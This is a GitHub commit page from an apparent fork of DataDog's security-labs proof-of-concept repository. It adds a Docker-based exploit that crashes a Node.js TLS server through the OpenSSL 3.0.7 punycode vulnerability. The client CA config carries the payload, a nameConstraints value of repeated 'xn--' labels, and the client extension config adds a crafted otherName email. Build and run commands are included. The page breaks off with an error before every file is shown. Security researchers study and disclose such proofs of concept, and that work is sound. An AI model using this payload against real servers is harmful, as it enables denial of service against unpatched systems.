forked from DataDog/security-labs-pocs
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
13 changed files
with
445 additions
and
0 deletions.
There are no files selected for viewing
14 changes: 14 additions & 0 deletions
14
...cept-exploits/openssl-punycode-vulnerability/vulnerable_nodejs_server/README.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,14 @@ | ||
# DoS node js with crafted client certificate | ||
|
||
## Build | ||
|
||
```docker compose -f poc.yml build``` | ||
|
||
## Run | ||
|
||
While testing, internal docker name resolution did not work from busybox image. You need to provide IP address of the server which is done in the ossl_client docker run oneliner. | ||
|
||
``` | ||
docker compose -f poc.yml up -d node_server | ||
docker compose -f poc.yml run -e HOSTNAME=`docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' $(docker ps -qf name=^/vulnerable_nodejs_server.*$)` ossl_client | ||
``` |
19 changes: 19 additions & 0 deletions
19
...oncept-exploits/openssl-punycode-vulnerability/vulnerable_nodejs_server/client/Dockerfile
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,19 @@ | ||
FROM gcc AS build | ||
|
||
WORKDIR /root | ||
RUN wget https://github.com/openssl/openssl/archive/refs/tags/openssl-3.0.7.zip \ | ||
&& unzip openssl-3.0.7.zip \ | ||
&& mv openssl-openssl-3.0.7 openssl \ | ||
&& cd openssl \ | ||
&& ./Configure no-tests -debug -static \ | ||
&& sed -i 's/^CFLAGS=.*/CFLAGS=-Wall -Og -g3/' Makefile \ | ||
&& make -j`nproc` | ||
COPY . . | ||
RUN ./gen.sh | ||
|
||
FROM busybox | ||
COPY --from=build /root/openssl/apps/openssl /usr/bin/openssl | ||
RUN mkdir /certs | ||
COPY --from=build /root/certs/cacert.pem /root/certs/client.*pem /certs/ | ||
ENTRYPOINT [ "/bin/sh", "-c" ] | ||
CMD [ "openssl s_client -connect $HOSTNAME:$PORT -key /certs/client.key.pem -cert /certs/client.cert.pem -CAfile /certs/cacert.pem -state" ] |
115 changes: 115 additions & 0 deletions
115
...pt-exploits/openssl-punycode-vulnerability/vulnerable_nodejs_server/client/configs/ca.cnf
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,115 @@ | ||
# This definition stops the following lines choking if HOME isn't | ||
# defined. | ||
HOME = . | ||
RANDFILE = $ENV::HOME/.rnd | ||
|
||
# Extra OBJECT IDENTIFIER info: | ||
#oid_file = $ENV::HOME/.oid | ||
oid_section = new_oids | ||
|
||
[ new_oids ] | ||
# Policies used by the TSA examples. | ||
tsa_policy1 = 1.2.3.4.1 | ||
tsa_policy2 = 1.2.3.4.5.6 | ||
tsa_policy3 = 1.2.3.4.5.7 | ||
|
||
#################################################################### | ||
[ ca ] | ||
default_ca = CA_default # The default ca section | ||
|
||
[ CA_default ] | ||
dir = $ENV::PWD # Where everything is kept | ||
certs = $dir/certs # Where the issued certs are kept | ||
database = $dir/index.txt # database index file. | ||
# several certs with same subject. | ||
new_certs_dir = $dir/certs # default place for new certs. | ||
certificate = $dir/certs/cacert.pem # The CA certificate | ||
serial = $dir/serial # The current serial number | ||
crlnumber = $dir/crlnumber # the current crl number | ||
# must be commented out to leave a V1 CRL | ||
private_key = $dir/private/ca.key.pem # The private key | ||
|
||
name_opt = ca_default # Subject Name options | ||
cert_opt = ca_default # Certificate field options | ||
|
||
default_days = 365 # how long to certify for | ||
default_crl_days= 30 # how long before next CRL | ||
default_md = sha256 # use SHA-256 by default | ||
preserve = no # keep passed DN ordering | ||
policy = policy_match | ||
|
||
# For the CA policy | ||
[ policy_match ] | ||
countryName = match | ||
stateOrProvinceName = match | ||
organizationName = match | ||
organizationalUnitName = optional | ||
commonName = supplied | ||
emailAddress = optional | ||
|
||
[ policy_anything ] | ||
countryName = optional | ||
stateOrProvinceName = optional | ||
localityName = optional | ||
organizationName = optional | ||
organizationalUnitName = optional | ||
commonName = supplied | ||
emailAddress = optional | ||
|
||
#################################################################### | ||
[ req ] | ||
default_bits = 2048 | ||
default_md = sha256 | ||
default_keyfile = privkey.pem | ||
distinguished_name = req_distinguished_name | ||
attributes = req_attributes | ||
x509_extensions = v3_ca # The extentions to add to the self signed cert | ||
|
||
[ req_distinguished_name ] | ||
countryName = Country Name (2 letter code) | ||
countryName_default = FR | ||
countryName_value = FR | ||
countryName_min = 2 | ||
countryName_max = 2 | ||
stateOrProvinceName = State or Province Name (full name) | ||
stateOrProvinceName_default = IdF | ||
stateOrProvinceName_value = IdF | ||
localityName = Locality Name (eg, city) | ||
localityName_default = Paris | ||
localityName_value = Paris | ||
0.organizationName = Organization Name (eg, company) | ||
0.organizationName_default = DataDog | ||
0.organizationName_value = DataDog | ||
organizationalUnitName = Organizational Unit Name (eg, section) | ||
organizationalUnitName_default = SecurityResearch | ||
organizationalUnitName_value = SecurityResearch | ||
commonName = Common Name (eg, your name or your server\'s hostname) | ||
commonName_max = 64 | ||
commonName_value = KraftCert | ||
emailAddress = Email Address | ||
emailAddress_max = 64 | ||
emailAddress_value = "" | ||
[ req_attributes ] | ||
challengePassword = A challenge password | ||
challengePassword_min = 4 | ||
challengePassword_max = 20 | ||
unstructuredName = An optional company name | ||
[ v3_req ] | ||
# Extensions to add to a certificate request | ||
basicConstraints = CA:FALSE | ||
keyUsage = nonRepudiation, digitalSignature, keyEncipherment | ||
[ v3_ca ] | ||
# Extensions for a typical CA | ||
subjectKeyIdentifier=hash | ||
authorityKeyIdentifier=keyid:always,issuer | ||
basicConstraints = critical,CA:true | ||
# Payload is here | ||
nameConstraints = permitted;email:xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--. | ||
[ crl_ext ] | ||
# issuerAltName=issuer:copy | ||
authorityKeyIdentifier=keyid:always |
27 changes: 27 additions & 0 deletions
27
...xploits/openssl-punycode-vulnerability/vulnerable_nodejs_server/client/configs/client.cnf
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,27 @@ | ||
[ req ] | ||
distinguished_name = req_distinguished_name | ||
|
||
[ req_distinguished_name ] | ||
countryName = Country Name (2 letter code) | ||
countryName_default = FR | ||
countryName_value = FR | ||
countryName_min = 2 | ||
countryName_max = 2 | ||
stateOrProvinceName = State or Province Name (full name) | ||
stateOrProvinceName_default = IdF | ||
stateOrProvinceName_value = IdF | ||
localityName = Locality Name (eg, city) | ||
localityName_default = Paris | ||
localityName_value = Paris | ||
0.organizationName = Organization Name (eg, company) | ||
0.organizationName_default = DataDog | ||
0.organizationName_value = DataDog | ||
organizationalUnitName = Organizational Unit Name (eg, section) | ||
organizationalUnitName_default = SecurityResearch | ||
organizationalUnitName_value = SecurityResearch | ||
commonName = Common Name (eg, your name or your server\'s hostname) | ||
commonName_max = 64 | ||
commonName_value = MaliciousClientCert | ||
emailAddress = Email Address | ||
emailAddress_max = 64 | ||
emailAddress_value = "" |
11 changes: 11 additions & 0 deletions
11
...its/openssl-punycode-vulnerability/vulnerable_nodejs_server/client/configs/client_ext.cnf
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,11 @@ | ||
basicConstraints = critical,CA:false | ||
subjectKeyIdentifier = hash | ||
authorityKeyIdentifier = keyid,issuer | ||
nsCertType = client, email | ||
keyUsage = critical, nonRepudiation, digitalSignature, keyEncipherment | ||
extendedKeyUsage = clientAuth, emailProtection | ||
|
||
# Need to define subjectAltName with otherName | ||
subjectAltName = @alts | ||
[alts] | ||
otherName = 1.3.6.1.5.5.7.8.9;FORMAT:UTF8,UTF8String:dɑ[email protected] |
26 changes: 26 additions & 0 deletions
26
...of-concept-exploits/openssl-punycode-vulnerability/vulnerable_nodejs_server/client/gen.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,26 @@ | ||
rm -rf index.txt serial private certs | ||
touch index.txt | ||
echo 01 > serial | ||
mkdir private certs | ||
|
||
openssl="$PWD/openssl/apps/openssl" | ||
|
||
######################### | ||
# Create CA certificate # | ||
######################### | ||
|
||
# Generate private key for CA certificate | ||
openssl genrsa -out private/ca.key.pem 2048 | ||
# Generate CA certificate | ||
openssl req -new -x509 -days 3650 -config configs/ca.cnf -key private/ca.key.pem -out certs/cacert.pem | ||
|
||
############################# | ||
# Create Client certificate # | ||
############################# | ||
|
||
# Generate private key for client certificate | ||
openssl genrsa -out certs/client.key.pem 2048 | ||
# Generate CSR for client certificate | ||
openssl req -new -key certs/client.key.pem -config configs/client.cnf -out certs/client.csr | ||
# Create client certificate | ||
openssl ca -config configs/ca.cnf -extfile configs/client_ext.cnf -days 1650 -notext -batch -in certs/client.csr -out certs/client.cert.pem |
35 changes: 35 additions & 0 deletions
35
proof-of-concept-exploits/openssl-punycode-vulnerability/vulnerable_nodejs_server/poc.yml
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,35 @@ | ||
version: '3.8' | ||
services: | ||
node_server: | ||
image: datadog-security-labs-pocs/node_server | ||
build: server | ||
hostname: node_server.local | ||
networks: | ||
default: | ||
aliases: | ||
- node_server.local | ||
environment: | ||
- HOSTNAME=0.0.0.0 | ||
- PORT=3000 | ||
ports: | ||
- '3000:3000' | ||
networks: | ||
backend: | ||
ipv4_address: 172.20.0.2 | ||
ossl_client: | ||
depends_on: | ||
- node_server | ||
image: datadog-security-labs-pocs/ossl_client | ||
build: client | ||
environment: | ||
- HOSTNAME=172.20.0.2 | ||
- PORT=3000 | ||
networks: | ||
backend: | ||
ipv4_address: 172.20.0.3 | ||
|
||
networks: | ||
backend: | ||
ipam: | ||
config: | ||
- subnet: 172.20.0.0/24 |
11 changes: 11 additions & 0 deletions
11
...oncept-exploits/openssl-punycode-vulnerability/vulnerable_nodejs_server/server/Dockerfile
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,11 @@ | ||
FROM node:19 AS build | ||
COPY . /usr/src/app/ | ||
WORKDIR /usr/src/app/ | ||
RUN ./gen.sh | ||
|
||
FROM node:19 | ||
WORKDIR /usr/src/app/ | ||
COPY --from=build /usr/src/app/certs/cacert.pem /usr/src/app/certs/server.*pem ./ | ||
COPY server.js . | ||
ENTRYPOINT ["docker-entrypoint.sh"] | ||
CMD [ "node", "server.js" ] |
109 changes: 109 additions & 0 deletions
109
...pt-exploits/openssl-punycode-vulnerability/vulnerable_nodejs_server/server/configs/ca.cnf
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,109 @@ | ||
# This definition stops the following lines choking if HOME isn't | ||
# defined. | ||
HOME = . | ||
RANDFILE = $ENV::HOME/.rnd | ||
|
||
# Extra OBJECT IDENTIFIER info: | ||
#oid_file = $ENV::HOME/.oid | ||
oid_section = new_oids | ||
|
||
[ new_oids ] | ||
# Policies used by the TSA examples. | ||
tsa_policy1 = 1.2.3.4.1 | ||
tsa_policy2 = 1.2.3.4.5.6 | ||
tsa_policy3 = 1.2.3.4.5.7 | ||
|
||
#################################################################### | ||
[ ca ] | ||
default_ca = CA_default # The default ca section | ||
|
||
[ CA_default ] | ||
dir = $ENV::PWD # Where everything is kept | ||
certs = $dir/certs # Where the issued certs are kept | ||
database = $dir/index.txt # database index file. | ||
# several certs with same subject. | ||
new_certs_dir = $dir/certs # default place for new certs. | ||
certificate = $dir/certs/cacert.pem # The CA certificate | ||
serial = $dir/serial # The current serial number | ||
crlnumber = $dir/crlnumber # the current crl number | ||
# must be commented out to leave a V1 CRL | ||
private_key = $dir/private/ca.key.pem # The private key | ||
|
||
name_opt = ca_default # Subject Name options | ||
cert_opt = ca_default # Certificate field options | ||
|
||
default_days = 365 # how long to certify for | ||
default_crl_days= 30 # how long before next CRL | ||
default_md = sha256 # use SHA-256 by default | ||
preserve = no # keep passed DN ordering | ||
policy = policy_match | ||
|
||
# For the CA policy | ||
[ policy_match ] | ||
countryName = match | ||
stateOrProvinceName = match | ||
organizationName = match | ||
organizationalUnitName = optional | ||
commonName = supplied | ||
emailAddress = optional | ||
|
||
[ policy_anything ] | ||
countryName = optional | ||
stateOrProvinceName = optional | ||
localityName = optional | ||
organizationName = optional | ||
organizationalUnitName = optional | ||
commonName = supplied | ||
emailAddress = optional | ||
|
||
#################################################################### | ||
[ req ] | ||
default_bits = 2048 | ||
default_md = sha256 | ||
default_keyfile = privkey.pem | ||
distinguished_name = req_distinguished_name | ||
#attributes = req_attributes | ||
x509_extensions = v3_ca # The extentions to add to the self signed cert | ||
|
||
[ req_distinguished_name ] | ||
countryName = Country Name (2 letter code) | ||
countryName_default = US | ||
countryName_min = 2 | ||
countryName_max = 2 | ||
countryName_value = US | ||
stateOrProvinceName = State or Province Name (full name) | ||
stateOrProvinceName_default = NY | ||
stateOrProvinceName_value = NY | ||
localityName = Locality Name (eg, city) | ||
localityName_default = NYC | ||
localityName_value = NYC | ||
0.organizationName = Organization Name (eg, company) | ||
0.organizationName_default = DataDog | ||
0.organizationName_value = DataDog | ||
organizationalUnitName = Organizational Unit Name (eg, section) | ||
organizationalUnitName_default = SecurityResearch | ||
organizationalUnitName_value = SecurityResearch | ||
commonName = Common Name (eg, your name or your server\'s hostname) | ||
commonName_max = 64 | ||
commonName_value = RootCA | ||
[ req_attributes ] | ||
challengePassword = A challenge password | ||
challengePassword_min = 4 | ||
challengePassword_max = 20 | ||
unstructuredName = An optional company name | ||
[ v3_req ] | ||
# Extensions to add to a certificate request | ||
basicConstraints = CA:FALSE | ||
keyUsage = nonRepudiation, digitalSignature, keyEncipherment | ||
[ v3_ca ] | ||
# Extensions for a typical CA | ||
subjectKeyIdentifier=hash | ||
authorityKeyIdentifier=keyid:always,issuer | ||
basicConstraints = critical,CA:true | ||
[ crl_ext ] | ||
# issuerAltName=issuer:copy | ||
authorityKeyIdentifier=keyid:always |
Oops, something went wrong.